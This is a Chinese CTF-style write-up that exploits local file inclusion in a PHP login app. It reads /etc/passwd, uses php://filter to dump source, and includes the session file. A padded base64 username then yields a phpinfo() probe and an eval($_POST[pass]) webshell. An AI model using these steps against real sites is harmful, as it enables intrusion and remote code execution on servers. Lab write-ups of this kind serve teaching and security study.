• 一道session文件包含题


    目录

    环境说明

    session文件包含getshell

    审计源码

    session包含

    base64在session中的解码分析


    题目:

    链接:https://pan.baidu.com/s/1Q0BN08b8gWiVE4tOnirpTA?pwd=cate 
    提取码:cate

    环境说明

    这里我用的是linux,也可以用phpstudy,但到时候包含session的时候可能会出现问题,最好用linux

    基础环境

    centos7

    nginx1.20.2

    php5.6

    mysql5.7

    基础环境自行搭建,这里不再多说,还需要进mysql创建数据库,创建表

    1. create database web;
    2. use web;
    3. create table user(
    4. username varchar(150),
    5. password varchar(150)
    6. );

    环境搭建好后访问,随意创建一个用户,查看session是否正常,数据库是否有数据

    session文件包含getshell

    session文件包含的条件:

    1.知道session在服务器上的存储位置

    2.存在本地文件包含漏洞

    进入index.php

    点击login跳转,发现action参数为login.php,尝试文件包含

    尝试包含/etc/passwd,成功包含,确认存在文件包含漏洞

     尝试使用php://filter读取文件源码,可以读取到register.php,login.php,index.php

    审计源码

    查看index.php源码可以知道,index.php是在判断是否存在session文件,若存在,则显示登录成功,失败就显示login和register界面

    register.php部分代码

    1. if ($_POST['username'] && $_POST['password']) {
    2. require_once('config.php');
    3. $username = $_POST['username'];
    4. $password = md5($_POST['password']);
    5. $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
    6. if ($mysqli->connect_errno) {
    7. die("could not connect to the database:\n" . $mysqli->connect_error);
    8. }
    9. $mysqli->set_charset("utf8");
    10. //php 预编译
    11. $sql = "select * from user where username=?";
    12. $stmt = $mysqli->prepare($sql);
    13. $stmt->bind_param("s", $username);
    14. $stmt->bind_result($res_id, $res_username, $res_password);
    15. $stmt->execute();
    16. $stmt->store_result();
    17. $count = $stmt->num_rows();
    18. if($count) {
    19. die('User name Already Exists');
    20. } else {
    21. $sql = "insert into user(username, password) values(?,?)";
    22. $stmt = $mysqli->prepare($sql);
    23. $stmt->bind_param("ss", $username, $password);
    24. $stmt->execute();
    25. echo 'Register OK!Please Login';
    26. }
    27. $stmt->close();
    28. $mysqli->close();
    29. }

    可以看到代码中接收了username和password的值,然后进入数据库查询,如果存在相同的username值就die掉,如果不存在就insert插入user表中

    可以看到所有的sql语句都使用了预编译查询,sql注入这条路就走不通了,只能想其他办法

    login.php中部分代码

    1. if($_POST['username'] && $_POST['password']) {
    2. $username = $_POST['username'];
    3. $password = md5($_POST['password']);
    4. $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
    5. if ($mysqli->connect_errno) {
    6. die("could not connect to the database:\n" . $mysqli->connect_error);
    7. }
    8. $sql = "select password from user where username=?";
    9. $stmt = $mysqli->prepare($sql);
    10. $stmt->bind_param("s", $username);
    11. $stmt->bind_result($res_password);
    12. $stmt->execute();
    13. $stmt->fetch();
    14. if ($res_password == $password) {
    15. $_SESSION['username'] = base64_encode($username);
    16. header("location:index.php");
    17. } else {
    18. die("Invalid user name or password");
    19. }
    20. $stmt->close();
    21. $mysqli->close();
    22. }

    可以看到也接收了username和password的值,然后查询数据库,对比password的md5值,如果相同,将username进行base64编码,然后存入session中的username字段,所以session中的内容应该是

    username|s:x:"xxx"

    session包含

    然后可以猜测session文件的路径,一般默认会保存在如下几个目录

    • /var/lib/php/sess_PHPSESSID

    • /tmp/sess_PHPSESSID

    • /tmp/sessions/sess_PHPSESSID

    这里由于我php的安装方式不同,目录不同于默认路径,然后就是session文件名,session文件名的格式是sess_PHPSESSID,而PHPSESSID可以通过cookie中获取

    然后进行包含,显示如下则说明路径正确,包含成功

    接下来就可以进行session文件包含了,但输入的username会进行base64编码,那如果可以进行base64解码,再包含这个文件,就可以getshell了,问题是如何进行base64解码?

    php://filter就可以解决这个问题

    php://filter/read=convert.base64-decode/resource=

    但按照我们之前的说法,此时如果我们直接将username传入的话,会出现意料之外的结果 

    base64解码后为什么没有按照我们想的那样,显示出phpinfo();呢?

    这就涉及到base64的解码规则了 

    base64在session中的解码分析

    base64的解码规则是4位一解码,去除无效字符,即a-zA-Z,加号,斜杠和等号

    而我们知道在session中的内容格式是这样的,最左边的x是字符串的字符数

    username|s:x:"xxx"

    所以有效字符为 username 8位 + s 1位 + x 1位 = 10位

    base64会把这10位解码,但是base64会4位为一组,剩下2位会吃掉我们的编码后的值来组成4位,然后再解码,这样我们的编码就乱了

    原来是PD9waHAgcGhwaW5mbygpOz8+,被吃掉两位就变成了9waHAgcGhwaW5mbygpOz8+

    所以我们要保证前面为4的整数倍,12就可以,所以我们可以让字符串的字符数变为3位数,这样就变成了12,要变成3位数就必须让字符数超过100但不能超过1000,所以我们传入username的值如下

    catecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecate phpinfo();?>

    然后包含即可

    然后传入一句话getshell

    catecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecate eval($_POST[pass]);?>

  • 相关阅读:
    【无标题】
    金字塔型自动化的利弊
    图像增强软件分享
    Spring面试题(六十道)
    uniapp微信小程序获取屏幕宽高
    RabbitMq深度学习
    Transformer的应用
    脏读、不可重复读、幻读、丢失更新
    java 基于springboot+vue的居民社区健康管理平台
    推荐一本书《变速领导力》
  • 原文地址:https://blog.csdn.net/CQ17743254852/article/details/139735858